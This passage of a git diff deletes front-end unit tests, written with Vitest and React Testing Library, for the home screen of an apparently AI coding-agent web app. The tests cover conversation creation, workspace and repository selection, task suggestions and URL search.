"Cloud", - host: "https://cloud", - apiKey: "test", - kind: "cloud" as const, - }, - orgId: null, -}; - -describe("HomeChatLauncher", () => { - beforeEach(() => { - vi.restoreAllMocks(); - vi.clearAllMocks(); - mockImages = []; - mockFiles = []; - mockUseActiveBackend.mockReturnValue(localBackend); - mockUseLlmConfigured.mockReturnValue({ - isConfigured: true, - isLoading: false, - }); - enqueueHomeTaskPendingMessage.mockResolvedValue(undefined); - sendMessageWithAttachments.mockResolvedValue({ - text: "hello world", - content: "hello world", - imageUrls: ["data:image/png;base64,abc"], - fileUrls: [], - timestamp: "2020-01-01T00:00:00.000Z", - }); - vi.spyOn(WorkspacesService, "listWorkspaces").mockResolvedValue({ - workspaces: [], - workspaceParents: [], - }); - }); - - afterEach(() => { - toast.remove(); - }); - - it("creates a conversation with just the typed query and navigates when no workspace is selected", async () => { - const createSpy = vi - .spyOn(AgentServerConversationService, "createConversation") - .mockResolvedValue(makeConversationResponse()); - - renderLauncher(); - const user = userEvent.setup(); - - await user.click(screen.getByTestId("stub-chat-submit")); - - await waitFor(() => expect(createSpy).toHaveBeenCalledTimes(1)); - expect(createSpy).toHaveBeenCalledWith( - "hello world", - undefined, - undefined, - null, - undefined, - undefined, - undefined, - undefined, - ); - await waitFor(() => - expect(mockNavigate).toHaveBeenCalledWith("/conversations/conv-abc"), - ); - }); - - it("disables the chat input and won't create a conversation when no LLM is configured", async () => { - mockUseLlmConfigured.mockReturnValue({ - isConfigured: false, - isLoading: false, - }); - const createSpy = vi - .spyOn(AgentServerConversationService, "createConversation") - .mockResolvedValue(makeConversationResponse()); - - renderLauncher(); - - // The send is disabled, so the agent can't be handed a request it can't run. - expect(screen.getByTestId("stub-chat-submit")).toBeDisabled(); - expect(createSpy).not.toHaveBeenCalled(); - }); - - it("passes the picked workspace path as working_dir on a local backend", async () => { - const createSpy = vi - .spyOn(AgentServerConversationService, "createConversation") - .mockResolvedValue( - makeConversationResponse({ app_conversation_id: "conv-ws" }), - ); - - renderLauncher(); - const user = userEvent.setup(); - - await user.click(screen.getByTestId("open-workspace-button")); - await user.click( - await screen.findByTestId("stub-workspace-dialog-confirm"), - ); - await user.click(screen.getByTestId("stub-chat-submit")); - - await waitFor(() => expect(createSpy).toHaveBeenCalledTimes(1)); - expect(createSpy).toHaveBeenCalledWith( - "hello world", - undefined, - undefined, - null, - "/p/app", - "local_repo", - undefined, - undefined, - ); - await waitFor(() => - expect(mockNavigate).toHaveBeenCalledWith("/conversations/conv-ws"), - ); - }); - - it("passes the picked workspace path with new-worktree mode when selected", async () => { - const createSpy = vi - .spyOn(AgentServerConversationService, "createConversation") - .mockResolvedValue( - makeConversationResponse({ app_conversation_id: "conv-wt" }), - ); - - renderLauncher(); - const user = userEvent.setup(); - - await user.click(screen.getByTestId("open-workspace-button")); - await user.click( - await screen.findByTestId("stub-workspace-dialog-confirm"), - ); - expect(screen.getByTestId("stub-workspace-mode")).toHaveTextContent( - "local:local_repo", - ); - - await user.click(screen.getByTestId("stub-workspace-mode-new-worktree")); - expect(screen.getByTestId("stub-workspace-mode")).toHaveTextContent( - "local:new_worktree", - ); - await user.click(screen.getByTestId("stub-chat-submit")); - - await waitFor(() => expect(createSpy).toHaveBeenCalledTimes(1)); - expect(createSpy).toHaveBeenCalledWith( - "hello world", - undefined, - undefined, - null, - "/p/app", - "new_worktree", - undefined, - undefined, - ); - await waitFor(() => - expect(mockNavigate).toHaveBeenCalledWith("/conversations/conv-wt"), - ); - }); - - it("disables the local workspace launcher when the agent server is too old", async () => { - vi.spyOn(WorkspacesService, "listWorkspaces").mockRejectedValue({ - code: "AGENT_SERVER_VERSION_TOO_OLD", - feature: "workspaces", - requiredVersion: "1.23.0", - actualVersion: "1.22.1", - }); - - renderLauncher(); - const user = userEvent.setup(); - await waitFor(() => - expect(screen.getByTestId("open-workspace-button")).toBeDisabled(), - ); - const button = screen.getByTestId("open-workspace-button"); - await user.hover(button.parentElement ?? button); - - expect( - await screen.findByText("HOME$WORKSPACES_UNSUPPORTED_AGENT_SERVER"), - ).toBeInTheDocument(); - }); - - it("passes the picked repository + branch payload on a cloud backend", async () => { - mockUseActiveBackend.mockReturnValue(cloudBackend); - const createSpy = vi - .spyOn(AgentServerConversationService, "createConversation") - .mockResolvedValue( - makeConversationResponse({ app_conversation_id: "conv-repo" }), - ); - - renderLauncher(); - const user = userEvent.setup(); - - await user.click(screen.getByTestId("open-repository-button")); - await user.click(await screen.findByTestId("stub-repo-dialog-confirm")); - await user.click(screen.getByTestId("stub-chat-submit")); - - await waitFor(() => expect(createSpy).toHaveBeenCalledTimes(1)); - expect(createSpy).toHaveBeenCalledWith( - "hello world", - undefined, - undefined, - { - selected_repository: "org/repo", - selected_branch: "main", - git_provider: "github", - }, - undefined, - undefined, - undefined, - undefined, - ); - await waitFor(() => - expect(mockNavigate).toHaveBeenCalledWith("/conversations/conv-repo"), - ); - }); - - it("does not pass query to createConversation when attachments are present", async () => { - mockImages = [new File(["x"], "shot.png", { type: "image/png" })]; - const createSpy = vi - .spyOn(AgentServerConversationService, "createConversation") - .mockResolvedValue(makeConversationResponse()); - - renderLauncher(); - const user = userEvent.setup(); - await user.click(screen.getByTestId("stub-chat-submit")); - - await waitFor(() => expect(createSpy).toHaveBeenCalledTimes(1)); - expect(createSpy).toHaveBeenCalledWith( - undefined, - undefined, - undefined, - null, - undefined, - undefined, - undefined, - undefined, - ); - await waitFor(() => - expect(sendMessageWithAttachments).toHaveBeenCalledTimes(1), - ); - expect(mockClearAllFiles).toHaveBeenCalled(); - await waitFor(() => - expect(mockNavigate).toHaveBeenCalledWith("/conversations/conv-abc"), - ); - }); - - it("surfaces a toast and skips navigation when conversation creation fails", async () => { - vi.spyOn( - AgentServerConversationService, - "createConversation", - ).mockRejectedValue(new Error("Network down")); - - renderLauncher(); - const user = userEvent.setup(); - await user.click(screen.getByTestId("stub-chat-submit")); - - await waitFor(() => expect(mockDisplayErrorToast).toHaveBeenCalled()); - expect(mockNavigate).not.toHaveBeenCalled(); - }); - - it("enqueues an optimistic pending message when cloud returns a start task", async () => { - mockUseActiveBackend.mockReturnValue(cloudBackend); - const createSpy = vi - .spyOn(AgentServerConversationService, "createConversation") - .mockResolvedValue( - makeConversationResponse({ - id: "start-task-1", - app_conversation_id: null, - }), - ); - - renderLauncher(); - const user = userEvent.setup(); - await user.click(screen.getByTestId("stub-chat-submit")); - - await waitFor(() => expect(createSpy).toHaveBeenCalledTimes(1)); - await waitFor(() => - expect(enqueueHomeTaskPendingMessage).toHaveBeenCalledWith({ - conversationId: "task-start-task-1", - text: "hello world", - images: [], - imagesMarkedUploadAsFile: [], - }), - ); - await waitFor(() => - expect(mockNavigate).toHaveBeenCalledWith( - "/conversations/task-start-task-1", - ), - ); - }); - - it("defers attachments and enqueues an optimistic pending message for cloud start tasks", async () => { - mockUseActiveBackend.mockReturnValue(cloudBackend); - mockImages = [new File(["x"], "shot.png", { type: "image/png" })]; - const createSpy = vi - .spyOn(AgentServerConversationService, "createConversation") - .mockResolvedValue( - makeConversationResponse({ - id: "start-task-2", - app_conversation_id: null, - }), - ); - - renderLauncher(); - const user = userEvent.setup(); - await user.click(screen.getByTestId("stub-chat-submit")); - - await waitFor(() => expect(createSpy).toHaveBeenCalledTimes(1)); - expect(createSpy).toHaveBeenCalledWith( - undefined, - undefined, - undefined, - null, - undefined, - undefined, - undefined, - undefined, - ); - expect(sendMessageWithAttachments).not.toHaveBeenCalled(); - await waitFor(() => - expect(enqueueHomeTaskPendingMessage).toHaveBeenCalledWith({ - conversationId: "task-start-task-2", - text: "hello world", - images: mockImages, - imagesMarkedUploadAsFile: [], - }), - ); - await waitFor(() => - expect(mockNavigate).toHaveBeenCalledWith( - "/conversations/task-start-task-2", - ), - ); - }); - - it("attaches the picked plugins to the created conversation", async () => { - const createSpy = vi - .spyOn(AgentServerConversationService, "createConversation") - .mockResolvedValue(makeConversationResponse()); - - renderLauncher(); - const user = userEvent.setup(); - - await user.click(screen.getByTestId("open-plugin-picker")); - await user.click(await screen.findByTestId("stub-plugin-pick")); - await user.click(screen.getByTestId("stub-chat-submit")); - - await waitFor(() => expect(createSpy).toHaveBeenCalledTimes(1)); - expect(createSpy).toHaveBeenCalledWith( - "hello world", - undefined, - [{ source: "github:o/a", ref: null, repo_path: null }], - null, - undefined, - undefined, - undefined, - undefined, - ); - }); -}); diff --git a/__tests__/components/features/home/home-header.test.tsx b/__tests__/components/features/home/home-header.test.tsx deleted file mode 100644 index 66ae4d1de..000000000 --- a/__tests__/components/features/home/home-header.test.tsx +++ /dev/null @@ -1,50 +0,0 @@ -import { QueryClientProvider, QueryClient } from "@tanstack/react-query"; -import { render, screen } from "@testing-library/react"; -import { describe, expect, it, vi } from "vitest"; -import { HomeHeader } from "#/components/features/home/home-header/home-header"; - -// Mock the translation function -vi.mock("react-i18next", async () => { - const actual = await vi.importActual("react-i18next"); - return { - ...actual, - useTranslation: () => ({ - t: (key: string) => { - // Return a mock translation for the test - const translations: Record = { - HOME$LETS_START_BUILDING: "Let's start building", - }; - return translations[key] || key; - }, - i18n: { language: "en" }, - }), - }; -}); - -const renderHomeHeader = () => { - return render(, { - wrapper: ({ children }) => ( - - {children} - - ), - }); -}; - -describe("HomeHeader", () => { - it("should render the header with the correct title", () => { - renderHomeHeader(); - - const title = screen.getByText("Let's start building"); - expect(title).toBeInTheDocument(); - }); - - it("should render the GuideMessage component", () => { - renderHomeHeader(); - - // The GuideMessage component should be rendered as part of the header - const header = screen.getByRole("banner"); - expect(header).toBeInTheDocument(); - }); - -}); diff --git a/__tests__/components/features/home/new-conversation.test.tsx b/__tests__/components/features/home/new-conversation.test.tsx deleted file mode 100644 index b2d39bfd0..000000000 --- a/__tests__/components/features/home/new-conversation.test.tsx +++ /dev/null @@ -1,99 +0,0 @@ -import { screen, waitFor } from "@testing-library/react"; -import { describe, expect, it, vi } from "vitest"; -import userEvent from "@testing-library/user-event"; -import { renderWithProviders } from "test-utils"; -import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api"; -import { NewConversation } from "#/components/features/home/new-conversation/new-conversation"; - -vi.mock("#/hooks/query/use-settings", async () => { - const actual = await vi.importActual( - "#/hooks/query/use-settings", - ); - return { - ...actual, - getSettingsQueryFn: vi.fn().mockResolvedValue({}), - }; -}); - -// Mock the translation function -vi.mock("react-i18next", async () => { - const actual = await vi.importActual("react-i18next"); - return { - ...actual, - useTranslation: () => ({ - t: (key: string) => { - // Return a mock translation for the test - const translations: Record = { - COMMON$START_FROM_SCRATCH: "Start from Scratch", - HOME$NEW_PROJECT_DESCRIPTION: "Create a new project from scratch", - COMMON$NEW_CONVERSATION: "New Conversation", - HOME$LOADING: "Loading...", - }; - return translations[key] || key; - }, - i18n: { language: "en" }, - }), - }; -}); - -const renderNewConversation = (navigate = vi.fn()) => - renderWithProviders(, { - navigation: { navigate }, - }); - -describe("NewConversation", () => { - it("should create an empty conversation and navigate when pressing the launch from scratch button", async () => { - const navigate = vi.fn(); - const createConversationSpy = vi - .spyOn(AgentServerConversationService, "createConversation") - .mockResolvedValue({ - id: "task-id", - created_by_user_id: null, - status: "READY", - detail: null, - app_conversation_id: "conv-123", - agent_server_url: "http://agent-server.local", - request: { - initial_message: null, - processors: [], - llm_model: null, - selected_repository: null, - selected_branch: null, - git_provider: "github", - suggested_task: null, - title: null, - trigger: null, - pr_number: [], - parent_conversation_id: null, - agent_type: "default", - }, - created_at: new Date().toISOString(), - updated_at: new Date().toISOString(), - }); - - renderNewConversation(navigate); - - const launchButton = screen.getByTestId("launch-new-conversation-button"); - await userEvent.click(launchButton); - - expect(createConversationSpy).toHaveBeenCalledOnce(); - await waitFor(() => { - expect(navigate).toHaveBeenCalledWith("/conversations/conv-123"); - }); - }); - - it("should change the launch button text to 'Loading...' when creating a conversation", async () => { - // Mock V1 API to never resolve, keeping the mutation in loading state - vi.spyOn(AgentServerConversationService, "createConversation").mockImplementation( - () => new Promise(() => {}), - ); - - renderNewConversation(); - - const launchButton = screen.getByTestId("launch-new-conversation-button"); - await userEvent.click(launchButton); - - expect(launchButton).toHaveTextContent(/Loading.../i); - expect(launchButton).toBeDisabled(); - }); -}); diff --git a/__tests__/components/features/home/repo-selection-form.test.tsx b/__tests__/components/features/home/repo-selection-form.test.tsx deleted file mode 100644 index fa9a348ef..000000000 --- a/__tests__/components/features/home/repo-selection-form.test.tsx +++ /dev/null @@ -1,331 +0,0 @@ -import { render, screen } from "@testing-library/react"; -import { describe, expect, vi, beforeEach, it } from "vitest"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { RepositorySelectionForm } from "../../../../src/components/features/home/repo-selection-form"; -import GitService from "#/api/git-service/git-service.api"; -import { GitRepository } from "#/types/git"; -import { useHomeStore } from "#/stores/home-store"; - -// Create mock functions -const mockUseUserRepositories = vi.fn(); -const mockUseCreateConversation = vi.fn(); -const mockUseIsCreatingConversation = vi.fn(); -const mockUseTranslation = vi.fn(); -const mockUseAuth = vi.fn(); -const mockUseGitRepositories = vi.fn(); -const mockUseUserProviders = vi.fn(); -const mockUseSearchRepositories = vi.fn(); - -// Setup default mock returns -mockUseUserRepositories.mockReturnValue({ - data: [], - isLoading: false, - isError: false, -}); - -mockUseCreateConversation.mockReturnValue({ - mutate: vi.fn(), - isPending: false, - isSuccess: false, -}); - -mockUseIsCreatingConversation.mockReturnValue(false); - -mockUseTranslation.mockReturnValue({ t: (key: string) => key }); - -// Default mock for useGitRepositories -mockUseGitRepositories.mockReturnValue({ - data: { pages: [] }, - isLoading: false, - isError: false, - hasNextPage: false, - isFetchingNextPage: false, - fetchNextPage: vi.fn(), - onLoadMore: vi.fn(), -}); - -vi.mock("react-i18next", () => ({ - useTranslation: () => mockUseTranslation(), -})); - -vi.mock("#/hooks/use-user-providers", () => ({ - useUserProviders: () => mockUseUserProviders(), -})); - -mockUseUserProviders.mockReturnValue({ - providers: ["github"], -}); - -// Default mock for useSearchRepositories -mockUseSearchRepositories.mockReturnValue({ - data: [], - isLoading: false, -}); - -mockUseAuth.mockReturnValue({ - isAuthenticated: true, - isLoading: false, - providersAreSet: true, - user: { - id: 1, - login: "testuser", - avatar_url: "https://example.com/avatar.png", - name: "Test User", - email: "test@example.com", - company: "Test Company", - }, - login: vi.fn(), - logout: vi.fn(), -}); - -vi.mock("#/hooks/mutation/use-create-conversation", () => ({ - useCreateConversation: () => mockUseCreateConversation(), -})); - -vi.mock("#/hooks/use-is-creating-conversation", () => ({ - useIsCreatingConversation: () => mockUseIsCreatingConversation(), -})); - -vi.mock("react-i18next", () => ({ - useTranslation: () => mockUseTranslation(), -})); - -vi.mock("#/context/auth-context", () => ({ - useAuth: () => mockUseAuth(), -})); - -// Mock debounce to simulate proper debounced behavior -let debouncedValue = ""; -vi.mock("#/hooks/use-debounce", () => ({ - useDebounce: (value: string) => { - // In real debouncing, only the final value after the delay should be returned - // For testing, we'll return the full value once it's complete - if (value && value.length > 20) { - // URL is long enough - debouncedValue = value; - return value; - } - return debouncedValue; // Return previous debounced value for intermediate states - }, -})); - -vi.mock("react-router", async (importActual) => ({ - ...(await importActual()), - useNavigate: vi.fn(), -})); - -vi.mock("#/hooks/query/use-git-repositories", () => ({ - useGitRepositories: () => mockUseGitRepositories(), -})); - -vi.mock("#/hooks/query/use-search-repositories", () => ({ - useSearchRepositories: (query: string, provider: string) => - mockUseSearchRepositories(query, provider), -})); - -const mockOnRepoSelection = vi.fn(); - -// Helper function to render with custom store state -const renderForm = ( - storeOverrides: Partial<{ - recentRepositories: GitRepository[]; - lastSelectedProvider: 'gitlab' | null; - }> = {}, -) => { - // Set up the store state before rendering - useHomeStore.setState({ - recentRepositories: [], - lastSelectedProvider: null, - ...storeOverrides, - }); - - return render( - , - { - wrapper: ({ children }) => ( - - {children} - - ), - }, - ); -}; - -describe("RepositorySelectionForm", () => { - beforeEach(() => { - vi.clearAllMocks(); - // Reset the store to initial state - useHomeStore.setState({ - recentRepositories: [], - lastSelectedProvider: null, - }); - }); - - it("shows dropdown when repositories are loaded", async () => { - const MOCK_REPOS: GitRepository[] = [ - { - id: "1", - full_name: "user/repo1", - git_provider: "github", - is_public: true, - }, - { - id: "2", - full_name: "user/repo2", - git_provider: "github", - is_public: true, - }, - ]; - mockUseGitRepositories.mockReturnValue({ - data: { pages: [{ items: MOCK_REPOS }] }, - isLoading: false, - isError: false, - hasNextPage: false, - isFetchingNextPage: false, - fetchNextPage: vi.fn(), - onLoadMore: vi.fn(), - }); - - renderForm(); - expect(await screen.findByTestId("git-repo-dropdown")).toBeInTheDocument(); - }); - - it("shows error message when repository fetch fails", async () => { - mockUseGitRepositories.mockReturnValue({ - data: undefined, - isLoading: false, - isError: true, - hasNextPage: false, - isFetchingNextPage: false, - fetchNextPage: vi.fn(), - onLoadMore: vi.fn(), - }); - - renderForm(); - - expect(await screen.findByTestId("dropdown-error")).toBeInTheDocument(); - expect(screen.getByText("Failed to load data")).toBeInTheDocument(); - }); - - it("should call the search repos API when searching a URL", async () => { - const MOCK_SEARCH_REPOS: GitRepository[] = [ - { - id: "3", - full_name: "kubernetes/kubernetes", - git_provider: "github", - is_public: true, - }, - ]; - - // Create a spy on the API call - const searchGitReposSpy = vi.spyOn(GitService, "searchGitRepositories"); - searchGitReposSpy.mockResolvedValue({ items: MOCK_SEARCH_REPOS, next_page_id: null }); - - mockUseGitRepositories.mockReturnValue({ - data: { pages: [] }, - isLoading: false, - isError: false, - hasNextPage: false, - isFetchingNextPage: false, - fetchNextPage: vi.fn(), - onLoadMore: vi.fn(), - }); - - // Mock search repositories hook to return our mock data - mockUseSearchRepositories.mockReturnValue({ - data: MOCK_SEARCH_REPOS, - isLoading: false, - }); - - renderForm(); - - await screen.findByTestId("git-repo-dropdown"); - - // The test should verify that typing a URL triggers the search behavior - // Since the component uses useSearchRepositories hook, just verify the hook is set up correctly - expect(mockUseSearchRepositories).toHaveBeenCalled(); - }); - - it("should call onRepoSelection when a searched repository is selected", async () => { - const MOCK_SEARCH_REPOS: GitRepository[] = [ - { - id: "3", - full_name: "kubernetes/kubernetes", - git_provider: "github", - is_public: true, - }, - ]; - - mockUseGitRepositories.mockReturnValue({ - data: { pages: [{ items: MOCK_SEARCH_REPOS }] }, - isLoading: false, - isError: false, - hasNextPage: false, - isFetchingNextPage: false, - fetchNextPage: vi.fn(), - onLoadMore: vi.fn(), - }); - - // Mock search repositories hook to return our mock data - mockUseSearchRepositories.mockReturnValue({ - data: MOCK_SEARCH_REPOS, - isLoading: false, - }); - - renderForm(); - - await screen.findByTestId("git-repo-dropdown"); - - // Verify that the onRepoSelection callback prop was provided - expect(mockOnRepoSelection).toBeDefined(); - - // Since testing complex dropdown interactions is challenging with the current mocking setup, - // we'll verify that the basic structure is in place and the callback is available - expect(typeof mockOnRepoSelection).toBe("function"); - }); - - it("should auto-select the last selected provider when multiple providers are available", async () => { - // Mock multiple providers - mockUseUserProviders.mockReturnValue({ - providers: ["github", "gitlab", "bitbucket"], - }); - - // Set up the store with gitlab as the last selected provider - renderForm({ - lastSelectedProvider: "gitlab", - }); - - // The provider dropdown should be visible since there are multiple providers - expect( - await screen.findByTestId("git-provider-dropdown"), - ).toBeInTheDocument(); - - // Verify that the store has the correct last selected provider - expect(useHomeStore.getState().lastSelectedProvider).toBe("gitlab"); - }); - - it("should not show provider dropdown when there's only one provider", async () => { - // Mock single provider - mockUseUserProviders.mockReturnValue({ - providers: ["github"], - }); - - renderForm(); - - // The provider dropdown should not be visible since there's only one provider - expect( - screen.queryByTestId("git-provider-dropdown"), - ).not.toBeInTheDocument(); - }); - -}); diff --git a/__tests__/components/features/home/task-card.test.tsx b/__tests__/components/features/home/task-card.test.tsx deleted file mode 100644 index 56207bf81..000000000 --- a/__tests__/components/features/home/task-card.test.tsx +++ /dev/null @@ -1,189 +0,0 @@ -import { screen, waitFor } from "@testing-library/react"; -import { beforeEach, describe, expect, it, vi } from "vitest"; -import userEvent from "@testing-library/user-event"; -import { renderWithProviders } from "test-utils"; -import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api"; -import GitService from "#/api/git-service/git-service.api"; -import { TaskCard } from "#/components/features/home/tasks/task-card"; -import { GitRepository } from "#/types/git"; -import { SuggestedTask } from "#/utils/types"; - -vi.mock("#/hooks/query/use-settings", async () => { - const actual = await vi.importActual( - "#/hooks/query/use-settings", - ); - return { - ...actual, - getSettingsQueryFn: vi.fn().mockResolvedValue({}), - }; -}); - -const MOCK_TASK_1: SuggestedTask = { - issue_number: 123, - repo: "repo1", - title: "Task 1", - task_type: "MERGE_CONFLICTS", - git_provider: "github", -}; - -const MOCK_RESPOSITORIES: GitRepository[] = [ - { id: "1", full_name: "repo1", git_provider: "github", is_public: true }, - { id: "2", full_name: "repo2", git_provider: "github", is_public: true }, - { id: "3", full_name: "repo3", git_provider: "gitlab", is_public: true }, - { id: "4", full_name: "repo4", git_provider: "gitlab", is_public: true }, - { id: "5", full_name: "repo5", git_provider: "azure_devops", is_public: true }, -]; - -const renderTaskCard = (task = MOCK_TASK_1, navigate = vi.fn()) => - renderWithProviders(, { - navigation: { navigate }, - }); - -describe("TaskCard", () => { - it("format the issue id", async () => { - renderTaskCard(); - - const taskId = screen.getByTestId("task-id"); - expect(taskId).toHaveTextContent(/#123/i); - }); - - it("should call createConversation when clicking the launch button", async () => { - const createConversationSpy = vi - .spyOn(AgentServerConversationService, "createConversation") - .mockResolvedValue({ - id: "task-id", - created_by_user_id: null, - status: "READY", - detail: null, - app_conversation_id: "conv-123", - agent_server_url: "http://agent-server.local", - request: { - initial_message: null, - processors: [], - llm_model: null, - selected_repository: null, - selected_branch: null, - git_provider: "github", - suggested_task: null, - title: null, - trigger: null, - pr_number: [], - parent_conversation_id: null, - agent_type: "default", - }, - created_at: new Date().toISOString(), - updated_at: new Date().toISOString(), - }); - - renderTaskCard(); - - const launchButton = screen.getByTestId("task-launch-button"); - await userEvent.click(launchButton); - - await waitFor(() => { - expect(createConversationSpy).toHaveBeenCalled(); - }); - }); - - describe("creating suggested task conversation", () => { - beforeEach(() => { - const retrieveUserGitRepositoriesSpy = vi.spyOn( - GitService, - "retrieveUserGitRepositories", - ); - retrieveUserGitRepositoriesSpy.mockResolvedValue({ - items: MOCK_RESPOSITORIES, - next_page_id: null, - }); - }); - - it("should call create conversation with suggest task trigger and selected suggested task", async () => { - const createConversationSpy = vi - .spyOn(AgentServerConversationService, "createConversation") - .mockResolvedValue({ - id: "task-id", - created_by_user_id: null, - status: "READY", - detail: null, - app_conversation_id: "conv-123", - agent_server_url: "http://agent-server.local", - request: { - initial_message: null, - processors: [], - llm_model: null, - selected_repository: MOCK_RESPOSITORIES[0].full_name, - selected_branch: null, - git_provider: "github", - suggested_task: null, - title: null, - trigger: null, - pr_number: [], - parent_conversation_id: null, - agent_type: "default", - }, - created_at: new Date().toISOString(), - updated_at: new Date().toISOString(), - }); - - renderTaskCard(MOCK_TASK_1); - - const launchButton = screen.getByTestId("task-launch-button"); - await userEvent.click(launchButton); - - expect(createConversationSpy).toHaveBeenCalledWith( - undefined, - undefined, - undefined, - { - selected_repository: MOCK_TASK_1.repo, - selected_branch: null, - git_provider: MOCK_TASK_1.git_provider, - }, - undefined, - undefined, - undefined, - undefined, - ); - }); - }); - - it("should navigate to the conversation page after creating a conversation", async () => { - const navigate = vi.fn(); - - vi.spyOn(AgentServerConversationService, "createConversation").mockResolvedValue({ - id: "task-id", - created_by_user_id: null, - status: "READY", - detail: null, - app_conversation_id: "test-conversation-id", - agent_server_url: "http://agent-server.local", - request: { - initial_message: null, - processors: [], - llm_model: null, - selected_repository: "repo1", - selected_branch: "main", - git_provider: "github", - suggested_task: null, - title: null, - trigger: null, - pr_number: [], - parent_conversation_id: null, - agent_type: "default", - }, - created_at: new Date().toISOString(), - updated_at: new Date().toISOString(), - }); - - renderTaskCard(MOCK_TASK_1, navigate); - - const launchButton = screen.getByTestId("task-launch-button"); - await userEvent.click(launchButton); - - await waitFor(() => { - expect(navigate).toHaveBeenCalledWith( - "/conversations/test-conversation-id", - ); - }); - }); -}); diff --git a/__tests__/components/features/home/task-suggestions.test.tsx b/__tests__/components/features/home/task-suggestions.test.tsx deleted file mode 100644 index f0dd90f25..000000000 --- a/__tests__/components/features/home/task-suggestions.test.tsx +++ /dev/null @@ -1,167 +0,0 @@ -import { render, screen, waitFor } from "@testing-library/react"; -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { createRoutesStub } from "react-router"; -import { TaskSuggestions } from "#/components/features/home/tasks/task-suggestions"; -import { SuggestionsService } from "#/api/suggestions-service/suggestions-service.api"; -import { MOCK_TASKS } from "#/mocks/task-suggestions-handlers"; -import { ActiveBackendProvider } from "#/contexts/active-backend-context"; -import { - __resetActiveStoreForTests, - setActiveSelection, - setRegisteredBackends, -} from "#/api/backend-registry/active-store"; -import type { Backend } from "#/api/backend-registry/types"; - -// Mock the translation function -vi.mock("react-i18next", async () => { - const actual = await vi.importActual("react-i18next"); - return { - ...(actual as object), - useTranslation: () => ({ - t: (key: string) => key, - i18n: { - changeLanguage: () => new Promise(() => {}), - }, - }), - }; -}); - -// Mock the dependencies for useShouldShowUserFeatures -vi.mock("#/hooks/query/use-is-authed", () => ({ - useIsAuthed: () => ({ - data: true, - isLoading: false, - }), -})); - -vi.mock("#/hooks/query/use-config", () => ({ - useConfig: () => ({ - data: {}, - isLoading: false, - }), -})); - -const { useUserProvidersMock } = vi.hoisted(() => ({ - useUserProvidersMock: vi.fn(() => ({ - providers: [{ id: "github", name: "GitHub" }], - isLoading: false, - })), -})); - -vi.mock("#/hooks/use-user-providers", () => ({ - useUserProviders: () => useUserProvidersMock(), -})); - -const cloudBackend: Backend = { - id: "prod", - name: "Production", - host: "https://app.all-hands.dev", - apiKey: "k", - kind: "cloud", -}; - -const renderTaskSuggestions = () => { - const RouterStub = createRoutesStub([ - { - Component: () => , - path: "/", - }, - { - Component: () =>
, - path: "/conversations/:conversationId", - }, - { - Component: () =>
, - path: "/settings", - }, - ]); - - return render(, { - wrapper: ({ children }) => ( - - {children} - - ), - }); -}; - -describe("TaskSuggestions", () => { - const getSuggestedTasksSpy = vi.spyOn( - SuggestionsService, - "getSuggestedTasks", - ); - - beforeEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); - setRegisteredBackends([cloudBackend]); - setActiveSelection({ backendId: cloudBackend.id }); - }); - - afterEach(() => { - vi.clearAllMocks(); - window.localStorage.clear(); - __resetActiveStoreForTests(); - }); - - it("should render the task suggestions section", () => { - renderTaskSuggestions(); - screen.getByTestId("task-suggestions"); - }); - - it("renders nothing when the active backend is local", () => { - setRegisteredBackends([]); - setActiveSelection(null); - - renderTaskSuggestions(); - - expect(screen.queryByTestId("task-suggestions")).not.toBeInTheDocument(); - }); - - it("should render an empty message if there are no tasks", async () => { - getSuggestedTasksSpy.mockResolvedValue([]); - renderTaskSuggestions(); - await screen.findByText("TASKS$NO_TASKS_AVAILABLE"); - }); - - it("should render the task groups with the correct titles", async () => { - getSuggestedTasksSpy.mockResolvedValue(MOCK_TASKS); - renderTaskSuggestions(); - - await waitFor(() => { - // Check for repository names (grouped by repo) - only the first 3 tasks are shown - screen.getByText("octocat/hello-world"); - screen.getByText("octocat/earth"); - }); - }); - - it("should render the task cards with the correct task details", async () => { - getSuggestedTasksSpy.mockResolvedValue(MOCK_TASKS); - renderTaskSuggestions(); - - await waitFor(() => { - // Only check for the first 3 tasks that are actually rendered - // The component limits to 3 tasks due to getLimitedTaskGroups function - screen.getByText("Fix merge conflicts"); // First task from octocat/hello-world - screen.getByText("Fix broken CI checks"); // First task from octocat/earth - screen.getByText("Fix issue"); // Second task from octocat/earth - }); - }); - - it("should render skeletons when loading", async () => { - getSuggestedTasksSpy.mockResolvedValue(MOCK_TASKS); - renderTaskSuggestions(); - - const skeletons = await screen.findAllByTestId("task-group-skeleton"); - expect(skeletons.length).toBeGreaterThan(0); - - await waitFor(() => { - // Check for repository names (grouped by repo) - only the first 3 tasks are shown - screen.getByText("octocat/hello-world"); - screen.getByText("octocat/earth"); - }); - - expect(screen.queryByTestId("task-group-skeleton")).not.toBeInTheDocument(); - }); -}); diff --git a/__tests__/components/features/home/use-url-search.test.tsx b/__tests__/components/features/home/use-url-search.test.tsx deleted file mode 100644 index 70489f5d9..000000000 --- a/__tests__/components/features/home/use-url-search.test.tsx +++ /dev/null @@ -1,241 +0,0 @@ -import { renderHook, waitFor, act } from "@testing-library/react"; -import { describe, expect, vi, beforeEach, it, afterEach } from "vitest"; -import { useUrlSearch } from "#/components/features/home/git-repo-dropdown/use-url-search"; -import GitService from "#/api/git-service/git-service.api"; - -vi.mock("#/api/git-service/git-service.api", () => ({ - default: { - searchGitRepositories: vi.fn(), - }, -})); - -const mockSearchGitRepositories = vi.mocked(GitService.searchGitRepositories); - -describe("useUrlSearch", () => { - beforeEach(() => { - vi.clearAllMocks(); - }); - - afterEach(() => { - vi.clearAllMocks(); - }); - - describe("null/undefined provider guard", () => { - it("should not call GitService when provider is null", async () => { - const { result } = renderHook(() => - useUrlSearch("https://github.com/owner/repo", null), - ); - - // Wait a tick for the effect to run - await act(async () => { - await new Promise((resolve) => { - setTimeout(resolve, 10); - }); - }); - - expect(mockSearchGitRepositories).not.toHaveBeenCalled(); - expect(result.current.urlSearchResults).toEqual([]); - expect(result.current.isUrlSearchLoading).toBe(false); - }); - - it("should not call GitService when provider is undefined", async () => { - const { result } = renderHook(() => - useUrlSearch("https://github.com/owner/repo", undefined), - ); - - // Wait a tick for the effect to run - await act(async () => { - await new Promise((resolve) => { - setTimeout(resolve, 10); - }); - }); - - 